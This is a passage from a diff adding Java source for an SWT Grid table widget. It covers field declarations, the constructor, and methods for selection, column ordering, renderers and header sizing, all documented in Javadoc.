pushingColumn = false; + + /** + * Is the user currently pushing a column header and hovering over that same + * header? + */ + private boolean pushingAndHovering = false; + + /** + * X position of the mouse when the user first pushes a column header. + */ + private int startHeaderPushX = 0; + + /** + * X position of the mouse when the user has initiated a drag. This is + * different than startHeaderPushX because the mouse is allowed some + * 'wiggle-room' until the header is put into drag mode. + */ + private int startHeaderDragX = 0; + + /** + * The current X position of the mouse during a header drag. + */ + private int currentHeaderDragX = 0; + + /** + * Are we currently dragging a column header? + */ + private boolean draggingColumn = false; + + private GridColumn dragDropBeforeColumn = null; + + private GridColumn dragDropAfterColumn = null; + + /** + * True if the current dragDropPoint is a valid drop point for the dragged + * column. This is false if the column groups are involved and a column is + * being dropped into or out of its column group. + */ + private boolean dragDropPointValid = true; + + /** + * Reference to the currently item that the mouse is currently hovering + * over. + */ + private GridItem hoveringItem; + + /** + * Reference to the column that the mouse is currently hovering over. + * Includes the header and all cells (all rows) in this column. + */ + private GridColumn hoveringColumn; + + private GridColumn hoveringColumnHeader; + + private GridColumnGroup hoverColumnGroupHeader; + + /** + * String-based detail of what is being hovered over in a cell. This allows + * a renderer to differentiate between hovering over different parts of the + * cell. For example, hovering over a checkbox in the cell or hovering over + * a tree node in the cell. The table does nothing with this string except + * to set it back in the renderer when its painted. The renderer sets this + * during its notify method (InternalWidget.HOVER) and the table pulls it + * back and maintains it so it can be set back when the cell is painted. The + * renderer determines what the hover detail means and how it affects + * painting. + */ + private String hoveringDetail = ""; + + /** + * True if the mouse is hovering of a cell's text. + */ + private boolean hoveringOverText = false; + + /** + * Are the grid lines visible? + */ + private boolean linesVisible = true; + + /** + * Are tree lines visible? + */ + private boolean treeLinesVisible = true; + + /** + * Grid line color. + */ + private Color lineColor; + + /** + * Vertical scrollbar proxy. + *

    + * Note: + *

      + *
    • {@link Grid#getTopIndex()} is the only method allowed to call vScroll.getSelection() + * (except #updateScrollbars() of course)
    • + *
    • {@link Grid#setTopIndex(int)} is the only method allowed to call vScroll.setSelection(int)
    • + *
    + */ + private IScrollBarProxy vScroll; + + /** + * Horizontal scrollbar proxy. + */ + private IScrollBarProxy hScroll; + + /** + * The number of GridItems whose visible = true. Maintained for + * performance reasons (rather than iterating over all items). + */ + private int currentVisibleItems = 0; + + /** + * Item selected when a multiple selection using shift+click first occurs. + * This item anchors all further shift+click selections. + */ + private GridItem shiftSelectionAnchorItem; + + private boolean columnScrolling = false; + + private int groupHeaderHeight; + + private Color cellHeaderSelectionBackground; + + /** + * Dispose listener. This listener is removed during the dispose event to allow re-firing of + * the event. + */ + private Listener disposeListener; + + /** + * The inplace tooltip. + */ + private GridToolTip inplaceToolTip; + + private GC sizingGC; + + private Color backgroundColor; + + /** + * True if the widget is being disposed. When true, events are not fired. + */ + private boolean disposing = false; + + /** + * True if there is at least one tree node. This is used by accessibility and various + * places for optimization. + */ + private boolean isTree = false; + + /** + * True if there is at least one GridItem with an individual height. + * This value is only set to true in {@link GridItem#setHeight(int,boolean)} + * and it is never reset to false. + */ + boolean hasDifferingHeights = false; + + /** + * True if three is at least one cell spanning columns. This is used in various places for + * optimizatoin. + */ + private boolean hasSpanning = false; + + /** + * Index of first visible item. The value must never be read directly. It is cached and + * updated when appropriate. #getTopIndex should be called for every client (even internal + * callers). A value of -1 indicates that the value is old and will be recomputed. + * + * @see #bottomIndex + */ + int topIndex = -1; + /** + * Index of last visible item. The value must never be read directly. It is cached and + * updated when appropriate. #getBottomIndex() should be called for every client (even internal + * callers). A value of -1 indicates that the value is old and will be recomputed. + *

    + * Note that the item with this index is often only partly visible; maybe only + * a single line of pixels is visible. In extreme cases, bottomIndex may be the + * same as topIndex. + * + * @see #topIndex + */ + int bottomIndex = -1; + + /** + * Index of the first visible column. A value of -1 indicates that the value is old and will be recomputed. + */ + int startColumnIndex = -1; + + /** + * Index of the the last visible column. A value of -1 indicates that the value is old and will be recomputed. + */ + int endColumnIndex = -1; + + /** + * True if the last visible item is completely visible. The value must never be read directly. It is cached and + * updated when appropriate. #isShown() should be called for every client (even internal + * callers). + * + * @see #bottomIndex + */ + private boolean bottomIndexShownCompletely = false; + + /** + * Tooltip text - overriden because we have cell specific tooltips + */ + private String toolTipText = null; + + /** + * Flag that is set to true as soon as one image is set on any one item. + * This is used to mimic Table behavior that resizes the rows on the first image added. + * See imageSetOnItem. + */ + private boolean firstImageSet = false; + + /** + * Mouse capture flag. Used for inplace tooltips. This flag must be used to ensure that + * we don't setCapture(false) in situations where we didn't do setCapture(true). The OS (SWT?) + * will automatically capture the mouse for us during a drag operation. + */ + private boolean inplaceTooltipCapture; + + /** + * This is the tooltip text currently used. This could be the tooltip text for the currently + * hovered cell, or the general grid tooltip. See handleCellHover. + */ + private String displayedToolTipText; + + /** + * The height of the area at the top and bottom of the + * visible grid area in which scrolling is initiated + * while dragging over this Grid. + */ + private static final int DRAG_SCROLL_AREA_HEIGHT = 12; + + /** + * Threshold for the selection border used for drag n drop + * in mode (!{@link #dragOnFullSelection}}. + */ + private static final int SELECTION_DRAG_BORDER_THRESHOLD = 2; + + private boolean hoveringOnSelectionDragArea = false; + + private GridItem insertMarkItem = null; + private GridColumn insertMarkColumn = null; + private boolean insertMarkBefore = false; + private IRenderer insertMarkRenderer = new DefaultInsertMarkRenderer(); + private boolean sizeOnEveryItemImageChange; + private boolean autoHeight = false; + private boolean autoWidth = true; + private boolean wordWrapRowHeader = false; + /** + * A range of rows in a Grid. + *

    + * A row in this sense exists only for visible items + * (i.e. items with {@link GridItem#isVisible()} == true). + * Therefore, the items at 'startIndex' and 'endIndex' + * are always visible. + * + * @see Grid#getRowRange(int, int, boolean, boolean) + */ + private static class RowRange { + /** index of first item in range */ + public int startIndex; + /** index of last item in range */ + public int endIndex; + /** number of rows (i.e. visible items) in this range */ + public int rows; + /** height in pixels of this range (including horizontal separator between rows) */ + public int height; + } + + /** + * Filters out unnecessary styles, adds mandatory styles and generally + * manages the style to pass to the super class. + * + * @param style user specified style. + * @return style to pass to the super class. + */ + private static int checkStyle(int style) + { + int mask = SWT.BORDER | SWT.LEFT_TO_RIGHT | SWT.RIGHT_TO_LEFT | SWT.H_SCROLL | SWT.V_SCROLL + | SWT.SINGLE | SWT.MULTI | SWT.NO_FOCUS | SWT.CHECK | SWT.VIRTUAL; + int newStyle = style & mask; + newStyle |= SWT.DOUBLE_BUFFERED; + return newStyle; + } + + /** + * Constructs a new instance of this class given its parent and a style + * value describing its behavior and appearance. + *

    + * + * @param parent a composite control which will be the parent of the new + * instance (cannot be null) + * @param style the style of control to construct + * @throws IllegalArgumentException + *

      + *
    • ERROR_NULL_ARGUMENT - if the parent is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the parent
    • + *
    + * @see SWT#SINGLE + * @see SWT#MULTI + */ + public Grid(Composite parent, int style) + { + super(parent, checkStyle(style)); + + // initialize drag & drop support + setData("DEFAULT_DRAG_SOURCE_EFFECT", new GridDragSourceEffect(this)); + setData("DEFAULT_DROP_TARGET_EFFECT", new GridDropTargetEffect(this)); + + sizingGC = new GC(this); + + topLeftRenderer.setDisplay(getDisplay()); + bottomLeftRenderer.setDisplay(getDisplay()); + rowHeaderRenderer.setDisplay(getDisplay()); + emptyColumnHeaderRenderer.setDisplay(getDisplay()); + emptyColumnFooterRenderer.setDisplay(getDisplay()); + emptyCellRenderer.setDisplay(getDisplay()); + dropPointRenderer.setDisplay(getDisplay()); + focusRenderer.setDisplay(getDisplay()); + emptyRowHeaderRenderer.setDisplay(getDisplay()); + insertMarkRenderer.setDisplay(getDisplay()); + + setForeground(getDisplay().getSystemColor(SWT.COLOR_LIST_FOREGROUND)); + setLineColor(getDisplay().getSystemColor(SWT.COLOR_WIDGET_BACKGROUND)); + + if ((style & SWT.MULTI) != 0) + { + selectionType = SWT.MULTI; + } + + if (getVerticalBar() != null) + { + getVerticalBar().setVisible(false); + vScroll = new ScrollBarProxyAdapter(getVerticalBar()); + } + else + { + vScroll = new NullScrollBarProxy(); + } + + if (getHorizontalBar() != null) + { + getHorizontalBar().setVisible(false); + hScroll = new ScrollBarProxyAdapter(getHorizontalBar()); + } + else + { + hScroll = new NullScrollBarProxy(); + } + + scrollValuesObsolete = true; + + initListeners(); + initAccessible(); + + + itemHeight = sizingGC.getFontMetrics().getHeight() + 2; + + + RGB sel = getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION).getRGB(); + RGB white = getDisplay().getSystemColor(SWT.COLOR_WHITE).getRGB(); + + RGB cellSel = blend(sel,white,50); + + cellHeaderSelectionBackground = new Color(getDisplay(),cellSel); + + setDragDetect(false); + } + + + + /** + * {@inheritDoc} + */ + public Color getBackground() + { + checkWidget(); + if (backgroundColor == null) + return getDisplay().getSystemColor(SWT.COLOR_LIST_BACKGROUND); + return backgroundColor; + } + + /** + * {@inheritDoc} + */ + public void setBackground(Color color) + { + checkWidget(); + backgroundColor = color; + redraw(); + } + + /** + * Returns the background color of column and row headers when a cell in + * the row or header is selected. + * + * @return cell header selection background color + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public Color getCellHeaderSelectionBackground() + { + checkWidget(); + return cellHeaderSelectionBackground; + } + + /** + * Sets the background color of column and row headers displayed when a cell in + * the row or header is selected. + * + * @param cellSelectionBackground color to set. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setCellHeaderSelectionBackground(Color cellSelectionBackground) + { + checkWidget(); + this.cellHeaderSelectionBackground = cellSelectionBackground; + } + + /** + * Adds the listener to the collection of listeners who will be notified + * when the receiver's selection changes, by sending it one of the messages + * defined in the {@code SelectionListener} interface. + *

    + * Cell selection events may have Event.detail = SWT.DRAG when the + * user is drag selecting multiple cells. A follow up selection event will be generated + * when the drag is complete. + * + * @param listener the listener which should be notified + * @throws IllegalArgumentException + *

      + *
    • ERROR_NULL_ARGUMENT - if the listener is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void addSelectionListener(SelectionListener listener) + { + checkWidget(); + if (listener == null) + { + SWT.error(SWT.ERROR_NULL_ARGUMENT); + } + addListener(SWT.Selection, new TypedListener(listener)); + addListener(SWT.DefaultSelection, new TypedListener(listener)); + } + + /** + * Adds the listener to the collection of listeners who will be notified + * when the receiver's items changes, by sending it one of the messages + * defined in the {@code TreeListener} interface. + * + * @param listener the listener which should be notified + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the listener is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + * @see TreeListener + * @see #removeTreeListener + * @see org.eclipse.swt.events.TreeEvent + */ + public void addTreeListener(TreeListener listener) + { + checkWidget(); + if (listener == null) + { + SWT.error(SWT.ERROR_NULL_ARGUMENT); + } + + addListener(SWT.Expand, new TypedListener(listener)); + addListener(SWT.Collapse, new TypedListener(listener)); + } + + /** + * {@inheritDoc} + */ + public Point computeSize(int wHint, int hHint, boolean changed) + { + checkWidget(); + + Point prefSize = null; + if (wHint == SWT.DEFAULT || hHint == SWT.DEFAULT) + { + prefSize = getTableSize(); + prefSize.x += 2 * getBorderWidth(); + prefSize.y += 2 * getBorderWidth(); + } + + int x = 0; + int y = 0; + + if (wHint == SWT.DEFAULT) + { + x += prefSize.x; + if (getVerticalBar() != null) + { + x += getVerticalBar().getSize().x; + } + } + else + { + x = wHint; + } + + if (hHint == SWT.DEFAULT) + { + y += prefSize.y; + if (getHorizontalBar() != null) + { + y += getHorizontalBar().getSize().y; + } + } + else + { + y = hHint; + } + + return new Point(x, y); + } + + /** + * Deselects the item at the given zero-relative index in the receiver. If + * the item at the index was already deselected, it remains deselected. + * Indices that are out of range are ignored. + *

    + * If cell selection is enabled, all cells in the specified item are deselected. + * + * @param index the index of the item to deselect + * @throws org.eclipse.swt.SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void deselect(int index) + { + checkWidget(); + + if (index < 0 || index > items.size() - 1) + { + return; + } + + GridItem item = (GridItem)items.get(index); + + if (!cellSelectionEnabled) + { + if (selectedItems.contains(item)) + { + selectedItems.remove(item); + } + } + else + { + deselectCells(getCells(item)); + } + redraw(); + } + + /** + * Deselects the items at the given zero-relative indices in the receiver. + * If the item at the given zero-relative index in the receiver is selected, + * it is deselected. If the item at the index was not selected, it remains + * deselected. The range of the indices is inclusive. Indices that are out + * of range are ignored. + *

    + * If cell selection is enabled, all cells in the given range are deselected. + * + * @param start the start index of the items to deselect + * @param end the end index of the items to deselect + * @throws org.eclipse.swt.SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void deselect(int start, int end) + { + checkWidget(); + + for (int i = start; i <= end; i++) + { + if (i < 0) + { + continue; + } + if (i > items.size() - 1) + { + break; + } + + GridItem item = (GridItem)items.get(i); + + if (!cellSelectionEnabled) + { + if (selectedItems.contains(item)) + { + selectedItems.remove(item); + } + } + else + { + deselectCells(getCells(item)); + } + } + redraw(); + } + + /** + * Deselects the items at the given zero-relative indices in the receiver. + * If the item at the given zero-relative index in the receiver is selected, + * it is deselected. If the item at the index was not selected, it remains + * deselected. Indices that are out of range and duplicate indices are + * ignored. + *

    + * If cell selection is enabled, all cells in the given items are deselected. + * + * @param indices the array of indices for the items to deselect + * @throws IllegalArgumentException + *

      + *
    • ERROR_NULL_ARGUMENT - if the set of indices is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void deselect(int[] indices) + { + checkWidget(); + if (indices == null) + { + SWT.error(SWT.ERROR_NULL_ARGUMENT); + } + + for (int i = 0; i < indices.length; i++) + { + int j = indices[i]; + + if (j >= 0 && j < items.size()) + { + GridItem item = (GridItem)items.get(j); + + if (!cellSelectionEnabled) + { + if (selectedItems.contains(item)) + { + selectedItems.remove(item); + } + } + else + { + deselectCells(getCells(item)); + } + } + } + redraw(); + } + + /** + * Deselects all selected items in the receiver. If cell selection is enabled, + * all cells are deselected. + * + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void deselectAll() + { + checkWidget(); + + if (!cellSelectionEnabled) + { + selectedItems.clear(); + redraw(); + } + else + { + deselectAllCells(); + } + } + + /** + * Returns the column at the given, zero-relative index in the receiver. + * Throws an exception if the index is out of range. If no + * {@code GridColumn}s were created by the programmer, this method will + * throw {@code ERROR_INVALID_RANGE} despite the fact that a single column + * of data may be visible in the table. This occurs when the programmer uses + * the table like a list, adding items but never creating a column. + * + * @param index the index of the column to return + * @return the column at the given index + * @throws IllegalArgumentException + *
      + *
    • ERROR_INVALID_RANGE - if the index is not between 0 and the number + * of elements in the list minus 1 (inclusive)
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public GridColumn getColumn(int index) + { + checkWidget(); + + if (index < 0 || index > getColumnCount() - 1) + { + SWT.error(SWT.ERROR_INVALID_RANGE); + } + + return (GridColumn)columns.get(index); + } + + /** + * Returns the column at the given point in the receiver or null if no such + * column exists. The point is in the coordinate system of the receiver. + * + * @param point the point used to locate the column + * @return the column at the given point + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the point is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public GridColumn getColumn(Point point) + { + return getColumn(null, point); + } + + /** + * Returns the column at the given point and a known item in the receiver or null if no such + * column exists. The point is in the coordinate system of the receiver. + * + * @param item a known GridItem + * @param point the point used to locate the column + * @return the column at the given point + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the point is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + private GridColumn getColumn(GridItem item, Point point) + { + checkWidget(); + if (point == null) + { + SWT.error(SWT.ERROR_NULL_ARGUMENT); + } + + GridColumn overThis = null; + + int x2 = 0; + + if (rowHeaderVisible) + { + if (point.x <= rowHeaderWidth) + { + return null; + } + + x2 += rowHeaderWidth; + } + + x2 -= getHScrollSelectionInPixels(); + + for (Iterator columnIterator = displayOrderedColumns.iterator(); columnIterator.hasNext(); ) + { + GridColumn column = (GridColumn) columnIterator.next(); + + if (!column.isVisible()) + { + continue; + } + + if (point.x >= x2 && point.x < x2 + column.getWidth()) + { + overThis = column; + break; + } + + x2 += column.getWidth(); + } + + if (overThis == null) + { + return null; + } + + if (hasSpanning) + { + // special logic for column spanning + if(item == null) { + item = getItem(point); + } + + if (item != null) + { + int displayColIndex = displayOrderedColumns.indexOf(overThis); + + // track back all previous columns and check their spanning + for (int i = 0; i < displayColIndex; i++) + { + if (!((GridColumn)displayOrderedColumns.get(i)).isVisible()) + { + continue; + } + + int colIndex = indexOf((GridColumn)displayOrderedColumns.get(i)); + int span = item.getColumnSpan(colIndex); + + if (i + span >= displayColIndex) + { + overThis = (GridColumn)displayOrderedColumns.get(i); + break; + } + } + } + } + + return overThis; + } + + /** + * Returns the number of columns contained in the receiver. If no + * {@code GridColumn}s were created by the programmer, this value is + * zero, despite the fact that visually, one column of items may be visible. + * This occurs when the programmer uses the table like a list, adding items + * but never creating a column. + * + * @return the number of columns + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public int getColumnCount() + { + checkWidget(); + return columns.size(); + } + + /** + * Returns an array of zero-relative integers that map the creation order of + * the receiver's items to the order in which they are currently being + * displayed. + *

    + * Specifically, the indices of the returned array represent the current + * visual order of the items, and the contents of the array represent the + * creation order of the items. + *

    + *

    + * Note: This is not the actual structure used by the receiver to maintain + * its list of items, so modifying the array will not affect the receiver. + *

    + * + * @return the current visual order of the receiver's items + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public int[] getColumnOrder() + { + checkWidget(); + + int[] order = new int[columns.size()]; + int i = 0; + for (Iterator colIterator = displayOrderedColumns.iterator(); colIterator.hasNext(); ) + { + GridColumn col = (GridColumn) colIterator.next(); + order[i] = columns.indexOf(col); + i++; + } + return order; + } + + /** + * Returns the number of column groups contained in the receiver. + * + * @return the number of column groups + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public int getColumnGroupCount() + { + checkWidget(); + return columnGroups.length; + } + + /** + * Returns an array of {@code GridColumnGroup}s which are the column groups in the + * receiver. + *

    + * Note: This is not the actual structure used by the receiver to maintain + * its list of items, so modifying the array will not affect the receiver. + *

    + * + * @return the column groups in the receiver + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public GridColumnGroup[] getColumnGroups() + { + checkWidget(); + GridColumnGroup[] newArray = new GridColumnGroup[columnGroups.length]; + System.arraycopy (columnGroups, 0, newArray, 0, columnGroups.length); + return newArray; + } + + /** + * Returns the column group at the given, zero-relative index in the receiver. + * Throws an exception if the index is out of range. + * + * @param index the index of the column group to return + * @return the column group at the given index + * @throws IllegalArgumentException + *
      + *
    • ERROR_INVALID_RANGE - if the index is not between 0 and the number + * of elements in the list minus 1 (inclusive)
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public GridColumnGroup getColumnGroup(int index) + { + checkWidget(); + + if (index < 0 || index >= columnGroups.length) + SWT.error(SWT.ERROR_INVALID_RANGE); + + return columnGroups[index]; + } + + /** + * Sets the order that the items in the receiver should be displayed in to + * the given argument which is described in terms of the zero-relative + * ordering of when the items were added. + * + * @param order the new order to display the items + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS -if not called from the thread that + * created the receiver
    • + *
    + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the item order is null
    • + *
    • ERROR_INVALID_ARGUMENT - if the order is not the same length as the + * number of items, or if an item is listed twice, or if the order splits a + * column group
    • + *
    + */ + public void setColumnOrder(int[] order) + { + checkWidget(); + + if (order == null) + { + SWT.error(SWT.ERROR_NULL_ARGUMENT); + } + + if (order.length != displayOrderedColumns.size()) + { + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + } + + boolean[] seen = new boolean[displayOrderedColumns.size()]; + + for (int i = 0; i < order.length; i++) + { + if (order[i] < 0 || order[i] >= displayOrderedColumns.size()) + { + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + } + if (seen[order[i]]) + { + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + } + seen[order[i]] = true; + } + + if (columnGroups.length != 0) + { + GridColumnGroup currentGroup = null; + int colsInGroup = 0; + + for (int i = 0; i < order.length; i++) + { + GridColumn col = getColumn(order[i]); + + if (currentGroup != null) + { + if (col.getColumnGroup() != currentGroup && colsInGroup > 0 ) + { + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + } + else + { + colsInGroup--; + if (colsInGroup <= 0) + { + currentGroup = null; + } + } + } + else if (col.getColumnGroup() != null) + { + currentGroup = col.getColumnGroup(); + colsInGroup = currentGroup.getColumns().length - 1; + } + } + } + + GridColumn[] cols = getColumns(); + + displayOrderedColumns.clear(); + + for (int i = 0; i < order.length; i++) + { + displayOrderedColumns.add(cols[order[i]]); + } + } + + /** + * Returns an array of {@code GridColumn}s which are the columns in the + * receiver. If no {@code GridColumn}s were created by the programmer, + * the array is empty, despite the fact that visually, one column of items + * may be visible. This occurs when the programmer uses the table like a + * list, adding items but never creating a column. + *

    + * Note: This is not the actual structure used by the receiver to maintain + * its list of items, so modifying the array will not affect the receiver. + *

    + * + * @return the items in the receiver + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public GridColumn[] getColumns() + { + checkWidget(); + return (GridColumn[])columns.toArray(new GridColumn[columns.size()]); + } + + /** + * Returns the empty cell renderer. + * + * @return Returns the emptyCellRenderer. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public GridCellRenderer getEmptyCellRenderer() + { + checkWidget(); + return emptyCellRenderer; + } + + /** + * Returns the empty column header renderer. + * + * @return Returns the emptyColumnHeaderRenderer. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public IRenderer getEmptyColumnHeaderRenderer() + { + checkWidget(); + return emptyColumnHeaderRenderer; + } + + /** + * Returns the empty column footer renderer. + * + * @return Returns the emptyColumnFooterRenderer. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public IRenderer getEmptyColumnFooterRenderer() { + checkWidget(); + return emptyColumnFooterRenderer; + } + + /** + * Returns the empty row header renderer. + * + * @return Returns the emptyRowHeaderRenderer. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public IRenderer getEmptyRowHeaderRenderer() + { + checkWidget(); + return emptyRowHeaderRenderer; + } + + /** + * Returns the externally managed horizontal scrollbar. + * + * @return the external horizontal scrollbar. + * @see #setHorizontalScrollBarProxy(IScrollBarProxy) + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + protected IScrollBarProxy getHorizontalScrollBarProxy() + { + checkWidget(); + return hScroll; + } + + /** + * Returns the externally managed vertical scrollbar. + * + * @return the external vertical scrollbar. + * @see #setlVerticalScrollBarProxy(IScrollBarProxy) + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + protected IScrollBarProxy getVerticalScrollBarProxy() + { + checkWidget(); + return vScroll; + } + + /** + * Gets the focus renderer. + * + * @return Returns the focusRenderer. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public IRenderer getFocusRenderer() + { + checkWidget(); + return focusRenderer; + } + + /** + * Returns the height of the column headers. If this table has column + * groups, the returned value includes the height of group headers. + * + * @return height of the column header row + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public int getHeaderHeight() + { + checkWidget(); + return headerHeight; + } + + /** + * Returns the height of the column footers. + * + * @return height of the column footer row + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public int getFooterHeight() { + checkWidget(); + return footerHeight; + } + + /** + * Returns the height of the column group headers. + * + * @return height of column group headers + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public int getGroupHeaderHeight() + { + checkWidget(); + return groupHeaderHeight; + } + + /** + * Returns {@code true} if the receiver's header is visible, and + * {@code false} otherwise. + * + * @return the receiver's header's visibility state + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public boolean getHeaderVisible() + { + checkWidget(); + return columnHeadersVisible; + } + + /** + * Returns {@code true} if the receiver's footer is visible, and {@code false} otherwise + * @return the receiver's footer's visibility state + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public boolean getFooterVisible() { + checkWidget(); + return columnFootersVisible; + } + + /** + * Returns the item at the given, zero-relative index in the receiver. + * Throws an exception if the index is out of range. + * + * @param index the index of the item to return + * @return the item at the given index + * @throws IllegalArgumentException + *
      + *
    • ERROR_INVALID_RANGE - if the index is not between 0 and the number of elements in the + * list minus 1 (inclusive)
    • * + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public GridItem getItem(int index) + { + checkWidget(); + + if (index < 0 || index >= items.size()) + { + SWT.error(SWT.ERROR_INVALID_RANGE); + } + + return (GridItem)items.get(index); + } + + /** + * Returns the item at the given point in the receiver or null if no such + * item exists. The point is in the coordinate system of the receiver. + * + * @param point the point used to locate the item + * @return the item at the given point + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the point is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
